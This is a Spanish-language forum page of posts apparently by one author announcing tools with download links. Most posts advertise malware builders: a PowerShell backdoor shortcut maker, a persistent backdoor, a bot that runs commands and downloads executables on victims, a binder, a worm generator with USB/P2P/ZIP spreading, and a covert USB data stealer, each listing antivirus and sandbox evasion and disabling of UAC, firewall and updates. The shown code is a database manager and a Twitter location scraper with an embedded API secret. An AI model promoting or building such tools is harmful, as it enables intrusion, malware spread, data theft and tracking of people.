Mensajes

Un programa en Delphi para generar un acceso directo para ejecutar un backdoor usando powershell.

Una imagen :



Un video con ejemplos de uso :

[youtube=640,360]https://www.youtube.com/watch?v=86LDEt6DPhc[/youtube]

Si quieren bajar el programa y el proyecto con codigo fuente lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

quisiera pero el trabajo no me da tiempo para hacer nuevos programas, con el tiempo libre que tengo programo como una tortuga xD.

Un programa en Delphi que funciona como un backdoor persistente de conexion directa.

Tiene las siguientes opciones :

• Principales :
  
  
• Backdoor persistente de conexion directa
  
  
• Secundarias :
  
  [++] Ocultar rastros
  [++] Persistencia
  [++] UAC Tricky
  [++] Extraccion de malware personalizado
  [++] Editar la fecha de creacion del malware
  [++] File Pumper
  [++] Extension Spoofer
  [++] Icon Changer
  
  
• Antis :
  
  [++] Virtual PC
  [++] Virtual Box
  [++] Debug
  [++] Wireshark
  [++] OllyDg
  [++] Anubis
  [++] Kaspersky
  [++] VMWare
  
  
• Disables :
  
  [++] UAC
  [++] Firewall
  [++] CMD
  [++] Run
  [++] Taskmgr
  [++] Regedit
  [++] Updates
  [++] MsConfig
  
  Unas imagenes :
  
  
  
  
  
  Un video con ejemplos de uso :
  
  [youtube=640,360]https://www.youtube.com/watch?v=M2SA4lvGdAg[/youtube]
  
  Si quieren bajar el programa lo pueden hacer de aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.

Un programa en Delphi que convierte a la victima en un webserver para mandar instrucciones.

Tiene las siguientes opciones :

• Principales :
  
  
• WebServer
  
• Ejecutar comandos y recibir respuesta
  
• Descargar y ejecutar ejecutables de forma paralela
  
• Messages Bomber
  
  
• Secundarias :
  
  [++] Ocultar rastros
  [++] Persistencia
  [++] UAC Tricky
  [++] Extraccion de malware personalizado
  [++] Editar la fecha de creacion del malware
  [++] File Pumper
  [++] Extension Spoofer
  [++] Icon Changer
  
  
• Antis :
  
  [++] Virtual PC
  [++] Virtual Box
  [++] Debug
  [++] Wireshark
  [++] OllyDg
  [++] Anubis
  [++] Kaspersky
  [++] VMWare
  
  
• Disables :
  
  [++] UAC
  [++] Firewall
  [++] CMD
  [++] Run
  [++] Taskmgr
  [++] Regedit
  [++] Updates
  [++] MsConfig
  
  Unas imagenes :
  
  
  
  
  
  Un video con ejemplos de uso :
  
  [youtube=640,360]https://www.youtube.com/watch?v=BS4P6AE4i68[/youtube]
  
  Si quieren bajar el programa lo pueden hacer de aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.

Un Binder hecho en Delphi.

Tiene las siguientes opciones :

• Principales :
  
  
• Agregar infinitos archivos
  
• Opcion para ocultar cualquiera de los archivos
  
• Se puede cargar de forma : Normal,Oculta y no ejecutar , cualquiera de los archivos
  
  
• Secundarias :
  
  [++] Ocultar rastros
  [++] Persistencia
  [++] UAC Tricky
  [++] Extraccion de malware personalizado
  [++] Editar la fecha de creacion del malware
  [++] File Pumper
  [++] Extension Spoofer
  [++] Icon Changer
  
  
• Antis :
  
  [++] Virtual PC
  [++] Virtual Box
  [++] Debug
  [++] Wireshark
  [++] OllyDg
  [++] Anubis
  [++] Kaspersky
  [++] VMWare
  
  
• Disables :
  
  [++] UAC
  [++] Firewall
  [++] CMD
  [++] Run
  [++] Taskmgr
  [++] Regedit
  [++] Updates
  [++] MsConfig
  
  Una imagen :
  
  
  
  Un video con ejemplos de uso :
  
  [youtube=640,360]https://www.youtube.com/watch?v=Wi5IHGSvyXk[/youtube]
  
  Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.

Un programa en Delphi para administrar bases de datos del tipo :

• MSSQL
  
• MySQL
  
• SQLite
  
  Unas imagenes :
  
  
  
  
  
  
  
  El codigo :
  
  
  Código (delphi) [Seleccionar] Expandir
  
// DH Database Manager 0.8
// (C) Doddy Hackman 2016

unit manager;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.ComCtrls,
  Vcl.StdCtrls,
  Vcl.DBCtrls, Vcl.Grids, Vcl.DBGrids, ZAbstractConnection, ZConnection,
  ZAbstractTable, ZDataset, Data.DB, ZAbstractRODataset, ZAbstractDataset,
  ShellApi, Vcl.ImgList, Vcl.Imaging.pngimage;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    status: TStatusBar;
    pcOptions: TPageControl;
    tsConfiguration: TTabSheet;
    tsOptions: TTabSheet;
    tsGrid: TTabSheet;
    gbConfiguration: TGroupBox;
    lblHost: TLabel;
    txtHostname: TEdit;
    lblPort: TLabel;
    txtPort: TEdit;
    lblUsername: TLabel;
    txtUsername: TEdit;
    lblPassword: TLabel;
    txtPassword: TEdit;
    lblDatabase: TLabel;
    txtDatabase: TEdit;
    cmbService: TComboBox;
    btnConnect: TButton;
    btnDisconnect: TButton;
    gbOptions: TGroupBox;
    lblTable: TLabel;
    lblSQL_Query: TLabel;
    cmbTables: TComboBox;
    txtSQL_Query: TEdit;
    btnLoadTable: TButton;
    btnExecute: TButton;
    connection: TZConnection;
    lblService: TLabel;
    grid_connection: TDBGrid;
    nav_connection: TDBNavigator;
    query_connection: TZQuery;
    table_connection: TZTable;
    datasource_connection: TDataSource;
    btnLoadDB: TButton;
    odLoadDB: TOpenDialog;
    btnRefreshTables: TButton;
    ilIconosMenu: TImageList;
    ilIconosBotones: TImageList;
    procedure btnConnectClick(Sender: TObject);
    procedure btnDisconnectClick(Sender: TObject);
    procedure btnLoadTableClick(Sender: TObject);
    procedure btnExecuteClick(Sender: TObject);
    procedure cmbServiceSelect(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure btnLoadDBClick(Sender: TObject);
    procedure btnRefreshTablesClick(Sender: TObject);
  private
    { Private declarations }
    procedure DragDropFile(var Msg: TMessage); message WM_DROPFILES;
  public
    { Public declarations }
    procedure cargarTablas();
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

// Function to DragDrop

// Based in : http://www.clubdelphi.com/foros/showthread.php?t=85665
// Thanks to ecfisa

var
  bypass_window: function(Msg: Cardinal; dwFlag: Word): BOOL; stdcall;

procedure TFormHome.DragDropFile(var Msg: TMessage);
var
  nombre_archivo, extension: string;
  limite, number: integer;
  path: array [0 .. MAX_COMPUTERNAME_LENGTH + MAX_PATH] of char;
begin
  limite := DragQueryFile(Msg.WParam, $FFFFFFFF, path, 255) - 1;
  if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
    for number := 0 to limite do
    begin
      bypass_window(number, 1);
    end;
  for number := 0 to limite do
  begin
    DragQueryFile(Msg.WParam, number, path, 255);

    //

    if (FileExists(path)) then
    begin
      nombre_archivo := ExtractFilename(path);
      extension := ExtractFileExt(path);
      extension := StringReplace(extension, '.', '',
        [rfReplaceAll, rfIgnoreCase]);
      if (extension = 'sqlite') or (extension = 'db3') or (extension = 's3db')
      then
      begin
        txtDatabase.Text := path;
        status.Panels[0].Text := '[+] DB Loaded';
        message_box('DH Database Manager 0.8', 'DB Loaded', 'Information');
      end
      else
      begin
        status.Panels[0].Text := '[-] The DB is not valid';
        message_box('DH Database Manager 0.8', 'The DB is not valid',
          'Warning');
      end;
    end;

    //

  end;
  DragFinish(Msg.WParam);
end;

//

procedure TFormHome.cargarTablas();
var
  lst: TStrings;
  count: integer;
begin
  if (connection.Connected = true) then
  begin
    try
      begin
        cmbTables.Clear;
        lst := TStringList.Create;
        connection.GetTableNames('', lst);
        count := lst.count;
        cmbTables.Items.Assign(lst);
        lst.Free();
        if (count >= 1) then
        begin
          cmbTables.ItemIndex := 0;
        end;
        ShowMessage('Tables loaded : ' + IntToStr(count));
      end;
    except
      begin
        ShowMessage('Tables not found');
      end;
    end;
  end
  else
  begin
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.cmbServiceSelect(Sender: TObject);
begin
  if (cmbService.Text = 'MSSQL') then
  begin
    txtDatabase.ReadOnly := false;
    btnLoadDB.Enabled := false;
  end
  else if (cmbService.Text = 'MYSQL') then
  begin
    txtDatabase.ReadOnly := false;
    btnLoadDB.Enabled := false;
  end
  else if (cmbService.Text = 'SQLITE') then
  begin
    txtDatabase.Text := '';
    txtDatabase.ReadOnly := true;
    btnLoadDB.Enabled := true;
  end
  else
  begin
    status.Panels[0].Text := '[-] Service not found';
    message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
  end;
end;

procedure TFormHome.FormCreate(Sender: TObject);
begin

  //

  if (Win32MajorVersion = 6) and (Win32MinorVersion > 0) then
  begin
    @bypass_window := GetProcAddress(LoadLibrary('user32.dll'),
      'ChangeWindowMessageFilter');
    bypass_window(WM_DROPFILES, 1);
    bypass_window(WM_COPYDATA, 1);
    bypass_window($0049, 1);
  end;
  DragAcceptFiles(Handle, true);

  //

  UseLatestCommonDialogs := false;
  odLoadDB.InitialDir := GetCurrentDir;
  odLoadDB.Filter :=
    'SQLITE files (*.sqlite)|*.SQLITE|DB3 Files (*.db3)|*.DB3|S3DB File (*.s3db)|*.S3DB';

  //

  btnLoadDB.Enabled := false;
end;

procedure TFormHome.btnConnectClick(Sender: TObject);
begin

  // MSSQL : localhost\SQLEXPRESS
  // admin:123456

  // MYSQL : localhost:3306
  // root

  if (cmbService.Text = 'MSSQL') then
  begin
    if (txtHostname.Text = '') or (txtUsername.Text = '') or
      (txtPassword.Text = '') then
    begin
      status.Panels[0].Text := '[-] Missing data';
      message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
    end
    else
    begin
      try
        begin
          connection.HostName := txtHostname.Text;

          if not(txtDatabase.Text = '') then
          begin
            connection.Database := txtDatabase.Text;
          end;

          connection.Database := 'sistema';
          connection.Protocol := 'mssql';
          connection.User := txtUsername.Text;
          connection.Password := txtPassword.Text;
          connection.Connect;

          status.Panels[0].Text := '[+] Connected';
          message_box('DH Database Manager 0.8', 'Connected', 'Information');

          if not(txtDatabase.Text = '') then
          begin
            cargarTablas();
          end;

        end;
      except
        begin
          status.Panels[0].Text := '[-] Error connecting';
          message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
        end;
      end;
    end;
  end
  else if (cmbService.Text = 'MYSQL') then
  begin
    if (txtHostname.Text = '') or (txtPort.Text = '') or (txtUsername.Text = '')
    then
    begin
      status.Panels[0].Text := '[-] Missing data';
      message_box('DH Database Manager 0.8', 'Missing data', 'Warning');
    end
    else
    begin
      try
        begin
          connection.HostName := txtHostname.Text;
          connection.Port := StrToInt(txtPort.Text);

          if not(txtDatabase.Text = '') then
          begin
            connection.Database := txtDatabase.Text;
          end;

          connection.Protocol := 'mysql-5';

          connection.User := txtUsername.Text;
          connection.Password := txtPassword.Text;
          connection.Connect;

          status.Panels[0].Text := '[+] Connected';
          message_box('DH Database Manager 0.8', 'Connected', 'Information');

          if not(txtDatabase.Text = '') then
          begin
            cargarTablas();
          end;

        end;
      except
        begin
          status.Panels[0].Text := '[-] Error connecting';
          message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
        end;
      end;
    end;
  end
  else if (cmbService.Text = 'SQLITE') then
  begin
    if not(FileExists(txtDatabase.Text)) then
    begin
      status.Panels[0].Text := '[-] SQLITE Database not found';
      message_box('DH Database Manager 0.8', 'SQLITE Database not found',
        'Warning');
    end
    else
    begin
      try
        begin
          connection.Protocol := 'sqlite-3';
          connection.Database := txtDatabase.Text;
          connection.Connect;

          status.Panels[0].Text := '[+] Connected';
          message_box('DH Database Manager 0.8', 'Connected', 'Information');

          if not(txtDatabase.Text = '') then
          begin
            cargarTablas();
          end;

        end;
      except
        begin
          status.Panels[0].Text := '[-] Error connecting';
          message_box('DH Database Manager 0.8', 'Error connecting', 'Error');
        end;
      end;
    end;
  end
  else
  begin
    status.Panels[0].Text := '[-] Service not found';
    message_box('DH Database Manager 0.8', 'Service not found', 'Warning');
  end;

end;

procedure TFormHome.btnDisconnectClick(Sender: TObject);
begin
  if connection.Connected = true then
  begin
    connection.Connected := false;
    status.Panels[0].Text := '[+] Disconnect';
    message_box('DH Database Manager 0.8', 'Disconnect', 'Information');
  end
  else
  begin
    status.Panels[0].Text := '[-] Not connected';
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.btnExecuteClick(Sender: TObject);
begin
  if (connection.Connected = true) then
  begin
    try
      begin
        query_connection.Active := false;
        query_connection.SQL.Clear;
        query_connection.SQL.Add(txtSQL_Query.Text);
        query_connection.Active := true;
        datasource_connection.DataSet := query_connection;
        datasource_connection.DataSet.Refresh;
        status.Panels[0].Text := '[+] Command Executed';
        message_box('DH Database Manager 0.8', 'Command Executed',
          'Information');
      end;
    except
      on E: Exception do
      begin
        if (E.Message = 'Can not open a Resultset') then
        begin
          status.Panels[0].Text := '[?] SQL Query not return ResultSet';
          message_box('DH Database Manager 0.8',
            'SQL Query not return ResultSet', 'Information');
        end
        else
        begin
          status.Panels[0].Text := '[-] SQL Query Error';
          message_box('DH Database Manager 0.8', 'SQL Query Error', 'Error');
        end;
      end;
    end;
  end
  else
  begin
    status.Panels[0].Text := '[-] Not connected';
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.btnLoadDBClick(Sender: TObject);
begin
  if odLoadDB.Execute then
  begin
    txtDatabase.Text := odLoadDB.filename;
  end;
end;

procedure TFormHome.btnLoadTableClick(Sender: TObject);
begin
  if (connection.Connected = true) then
  begin
    try
      begin
        table_connection.Active := false;
        table_connection.TableName := cmbTables.Text;
        datasource_connection.DataSet := table_connection;
        table_connection.Active := true;
        datasource_connection.DataSet.Refresh;
        status.Panels[0].Text := '[+] Table Loaded';
        message_box('DH Database Manager 0.8', 'Table Loaded', 'Information');
      end;
    except
      begin
        status.Panels[0].Text := '[-] Error loading table';
        message_box('DH Database Manager 0.8', 'Error loading table', 'Error');
      end;
    end;
  end
  else
  begin
    status.Panels[0].Text := '[-] Not connected';
    message_box('DH Database Manager 0.8', 'Not connected', 'Warning');
  end;
end;

procedure TFormHome.btnRefreshTablesClick(Sender: TObject);
begin
  cargarTablas();
end;

end.

// The End ?

  
  Si quieren bajar el programa lo pueden hacer de aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.

Un Worm Generator hecho en Delphi.

Tiene las siguientes opciones :

• Principales :
  
  
• Mezclar una imagen con un malware y que la imagen resultante se vea bien
  
• Descargar y dividir el malware de la imagen
  
• USB Spread (tecnica de shortcuts y carpetas ocultas)
  
• P2P Spread
  
• ZIP Spread
  
• Antidoto para eliminar los 3 tipos de spread
  
  
• Secundarias :
  
  [++] Ocultar rastros
  [++] Persistencia
  [++] UAC Tricky
  [++] Extraccion de malware personalizado
  [++] Editar la fecha de creacion del malware
  [++] File Pumper
  [++] Extension Spoofer
  [++] Icon Changer
  
  
• Antis :
  
  [++] Virtual PC
  [++] Virtual Box
  [++] Debug
  [++] Wireshark
  [++] OllyDg
  [++] Anubis
  [++] Kaspersky
  [++] VMWare
  
  
• Disables :
  
  [++] UAC
  [++] Firewall
  [++] CMD
  [++] Run
  [++] Taskmgr
  [++] Regedit
  [++] Updates
  [++] MsConfig
  
  Una imagen :
  
  
  
  Un video con ejemplos de uso :
  
  [youtube=640,360]https://www.youtube.com/watch?v=s6Oy7PSkbQ4[/youtube]
  
  Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.

Como regalo de navidad , esta vez les traigo un reproductor de musica y peliculas que hice en C# usando WPF con las siguientes opciones :

• Reproduce musica y videos a pantalla completa
  
• Soporta Drag and Drop para reproducir canciones y videos
  
• Pueden subir volumen y poner la posicion que quieran
  
• Tienen opcion para repetir una cancion o reproducir una carpeta entera automaticamente
  
• Pueden poner mute
  
  * Formatos de musica soportados : mp3,m4a,wma
  * Formato de videos soportados : avi,mp4,flv,mkv,wmv,mpg
  
  
• Estaciones de radios de tipo : Rock,Electronica,Rap,Country,Musica clasica y mas generos ...
  
• Tambien se puede reproducir cualquier radio online desde su link correspondiente
  
  * Las opciones de radio funcionan gracias a mplayer portable , no borren la carpeta "mplayer".
  
  Una imagen :
  
  
  
  Si quieren bajar el programa lo pueden hacer de aca :
  
  SourceForge.
  Github.
  
  Eso es todo.

Un programa para capturar los datos de cualquier USB que se conecte a la computadora.

Tiene las siguientes opciones :

• Principales :
  
  
• Funciona en segundo plano
  
• Permite usar una contraseña personalizada en el comprimido resultante
  
• Permite seleccionar las extensiones que se deseen del usb que se conecte
  
• En el comprimido muestra informacion sobre la computadora en la que se capturo los datos
  
  
• Secundarias :
  
  [++] Ocultar rastros
  [++] Persistencia
  [++] UAC Tricky
  [++] Extraccion de malware personalizado
  [++] Editar la fecha de creacion del malware
  [++] File Pumper
  [++] Extension Spoofer
  [++] Icon Changer
  
  
• Antis :
  
  [++] Virtual PC
  [++] Virtual Box
  [++] Debug
  [++] Wireshark
  [++] OllyDg
  [++] Anubis
  [++] Kaspersky
  [++] VMWare
  
  
• Disables :
  
  [++] UAC
  [++] Firewall
  [++] CMD
  [++] Run
  [++] Taskmgr
  [++] Regedit
  [++] Updates
  [++] MsConfig
  
  Una imagen :
  
  
  
  Un video con ejemplos de uso :
  
  [youtube=640,360]https://www.youtube.com/watch?v=OYq3tOaiiy4[/youtube]
  
  Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.

Un script en Perl para scanear los tweets de cualquier usuario , basado en la idea original de "tinfoleak by Vicente Aguilera Diaz"

Funciones :

• Extrae informacion del perfil
  
• Scanea los tweets en busca de apps y locations
  
• Permite cargar las localizaciones en google maps
  
• Guarda todo en logs
  
  El codigo :
  
  
  Código (perl) [Seleccionar] Expandir
  
# !usr/bin/perl
# DH Twitter Locator 0.6
# (C) Doddy Hackman 2016
# Credits :
# Based in idea original of : tinfoleak by Vicente Aguilera Diaz

use LWP::UserAgent;
use IO::Socket::SSL;
use HTTP::Request::Common;
use JSON;
use Data::Dumper;
use MIME::Base64;
use Date::Parse;
use DateTime;
use Getopt::Long;
use Color::Output;
Color::Output::Init;

my $consumer_key = "IQKbtAYlXLripLGPWd0HUA";
my $consumer_secret = "GgDYlkSvaPxGxC4X8liwpUoqKwwr3lCADbz8A7ADU";

my $bearer_token = "$consumer_key:$consumer_secret";
my $bearer_token_64 = encode_base64($bearer_token);

my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
$nave->agent(
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
);
$nave->timeout(5);

GetOptions(
"profile"   => \$profile,
"apps"   => \$apps,
    "locations"  => \$locations,
    "username=s"   => \$username,
    "count=i"   => \$count,
    "savefile=s"  => \$savefile,
);

head();

if ($profile) {
if($profile && $username) {
search_profile($username);
} else {
sintax();
}
}
if ($apps) {
if($apps && $username && $count) {
search_apps($username,$count);
} else {
sintax();
}
}
if ($locations) {
if($locations && $username && $count) {
search_locations($username,$count);
} else {
sintax();
}
}
if(!$profile and !$apps and !$locations) {
sintax();
} else {
if($savefile) {
printear_logo("\n[+] Logs $savefile saved\n");
}
}

copyright();

# Functions

sub search_profile {
my ($username) = @_;

printear_titulo("\n[+] Loading Profile in Username : ");
print $username." ...\n\n";

#my $code = toma("http://localhost/twitter/getuser.php");
my $code = get_code("https://api.twitter.com/1.1/users/show.json?screen_name=".$username);

my $resultado = JSON->new->decode($code);

my $screen_name = $resultado->{"screen_name"};
if($screen_name eq "") {
$screen_name = "Not Found";
}
my $name = $resultado->{"name"};
if($name eq "") {
$name = "Not Found";
}
my $id = $resultado->{"id_str"};
if($id eq "") {
$id = "Not Found";
}
my $created = parse_date($resultado->{"created_at"});
if($created eq "") {
$created = "Not Found";
}
my $followers = $resultado->{"followers_count"};
if($followers eq "") {
$followers = "Not Found";
}
my $tweets_count = $resultado->{"statuses_count"};
if($tweets_count eq "") {
$tweets_count = "Not Found";
}
my $location = $resultado->{"location"};
if($location eq "") {
$location = "Not Found";
}
my $description = $resultado->{"description"};
if($description eq "") {
$description = "Not Found";
}
my $url = $resultado->{"url"};
if($url eq "") {
$url = "Not Found";
}
my $profile_image = $resultado->{"profile_image_url"};
if($profile_image eq "") {
$profile_image = "Not Found";
}

printear("Screen Name : ");
print $screen_name."\n";
printear("Username : ");
print $name."\n";
printear("ID : ");
print $id."\n";
printear("Created at : ");
print $created."\n";
printear("Followers : ");
print $followers."\n";
printear("Tweets count : ");
print $tweets_count."\n";
printear("Location : ");
print $location."\n";
printear("Description : ");
print $description."\n";
printear("URL : ");
print $url."\n";
printear("Profile Image : ");
print $profile_image."\n";

printear_titulo("\n[+] Profile Loaded\n");

if($savefile) {
savefile($savefile,"\n[+] Loading Profile in Username : $username\n");
savefile($savefile,"Screen Name : $screen_name");
savefile($savefile,"Username : $name");
savefile($savefile,"ID : $id");
savefile($savefile,"Created at : $created");
savefile($savefile,"Followers : $followers");
savefile($savefile,"Tweets count : $tweets_count");
savefile($savefile,"Location : $location");
savefile($savefile,"Description : $description");
savefile($savefile,"URL : $url");
savefile($savefile,"Profile Image : $profile_image");
savefile($savefile,"\n[+] Profile Loaded");
}

#for my $number(1..5) {
# sleep(1);
# printear_logo("number : ");
# printear_titulo($number."\r");
#}
#printear_titulo("Number : Finished\n");
}

sub search_apps {
my($username,$count) = @_;

printear_titulo("\n[+] Searching Apps in Username : ");
print $username." ...\n\n";

#my $code = toma("http://localhost/twitter/timeline.php");
my $code = get_code("https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=".$username."&include_rts=True&count=".$count);

my $resultado = JSON->new->decode($code);

my @resultado = @$resultado;

my $i = 0;

if(int(@resultado) eq "0") {
printear_rojo("[-] Tweets not found\n");
} else {
printear("[+] Tweets found : ");
print int(@resultado)."\n\n\n";
printear("  Tweet\t\t Date\t\t   Apps\n");
print "  -----------------------------------------------------\n\n";

if($savefile) {
savefile($savefile,"\n[+] Searching Apps in Username : $username\n");
savefile($savefile,"[+] Tweets found : ".int(@resultado)."\n");
savefile($savefile,"  Tweet\t\t Date\t\t   Apps\n");
savefile($savefile,"  -----------------------------------------------------\n");
}

for my $result(@resultado) {
$i++;
my $source_split = $result->{"source"};
if($source_split=~/>(.*)<\/a>/) {
my $source = $1;
my $datetime = parse_date($result->{"created_at"});
if($source ne "") {
printf("   %-5s %-22s %-15s\n", $i,$datetime,$source);
if($savefile) {
savefile($savefile,"   $i\t$datetime\t$source");
}
}
}
}

printear_titulo("\n\n[+] Apps Loaded\n");

if($savefile) {
savefile($savefile,"\n[+] Apps Loaded\n");
}
}

}

sub search_locations {
my($username,$count) = @_;

printear_titulo("\n[+] Searching Locations in Username : ");
print $username." ...\n\n";

#my $code = toma("http://localhost/twitter/timeline.php");
my $code = get_code("https://api.twitter.com/1.1/statuses/user_timeline.json?screen_name=".$username."&include_rts=True&count=".$count);

my $resultado = JSON->new->decode($code);

my @resultado = @$resultado;

my $i = 0;

if(int(@resultado) eq "0") {
printear_rojo("[-] Tweets not found\n");
} else {
printear("[+] Tweets found : ");
print int(@resultado)."\n\n\n";

printear("  Tweet\t\t Date\t\t     Locations\n");
print "  -----------------------------------------------------\n\n";

if($savefile) {
savefile($savefile,"\n[+] Searching Locations in Username : $username\n");
savefile($savefile,"[+] Tweets found : ".int(@resultado)."\n");
savefile($savefile,"  Tweet\t\t Date\t\t   Locations\n");
savefile($savefile,"  -----------------------------------------------------\n");
}

for my $result(@resultado) {
$i++;
my $place = $result->{"place"}{"country"};
my $coordinates1 = $result->{"geo"}{"coordinates"}[0];
my $coordinates2 = $result->{"geo"}{"coordinates"}[1];
my $datetime = parse_date($result->{"created_at"});
if($place ne "") {
my $data = "";
if($coordinates1 ne "" && $coordinates2 ne "") {
$data = $place." [".$coordinates1.",".$coordinates2."]";
} else {
$data = $place;
}
printf("   %-5s %-22s %-15s\n", $i,$datetime,$data);
if($savefile) {
savefile($savefile,"   $i\t$datetime\t$data");
}
}
}
printear_titulo("\n\n[+] Locations Loaded\n");
if($savefile) {
savefile($savefile,"\n[+] Locations Loaded\n");
}
}

}

# More Functions

sub get_token {
my $code = $nave->request(POST(
"https://api.twitter.com/oauth2/token",
"Content-Type" => "application/x-www-form-urlencoded;charset=UTF-8",
"Authorization" => "Basic $bearer_token_64",
Content => { "grant_type" => "client_credentials" }
))->content;
my $resultado = JSON->new->decode($code);
my $token = $resultado->{"access_token"};
return $token;
}

sub get_code {
my $url = shift;
my $code = $nave->request(GET($url,"Authorization" => "Bearer " . get_token()))->content;
return $code;
}

sub parse_date {
    my $date = shift;       
    $time = str2time($date);   
    my $datetime = DateTime->from_epoch(epoch => $time);
    return $datetime->mdy("/")." ".$datetime->hms;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub savefile {
my ($filename,$text) = @_;
open( SAVE, ">>" . $filename );
print SAVE $text . "\n";
close SAVE;
}

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub printear_rojo {
    cprint( "\x034" . $_[0] . "\x030" );
}

sub printear_azul {
    cprint( "\x033" . $_[0] . "\x030" );
}

sub sintax {
    printear("\n[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-profile : Show profile information\n";
    print "-apps : List apps in tweets\n";
    print "-locations : List locations in tweets\n";
    print "-username <username> : Set username to find\n";
print "-count <count> : Set count to find\n";
print "-savefile <filename> : Save results\n";
    printear("\n[+] Example : ");
    print "perl dh_twitter_locator.pl -profile -apps -locations -username test -count 800 -savefile results.txt\n";
    copyright();
}

sub head {
    printear_logo("\n-- == DH Twitter Locator 0.6 == --\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    exit(1);
}

#The End ?

  
  Un video con ejemplos de uso :
  
  [youtube=640,360]https://www.youtube.com/watch?v=56J0Hko5TfA[/youtube]
  
  Si quieren bajar el programa lo pueden hacer de aca :
  
  SourceForge.
  Github.
  
  Eso seria todo.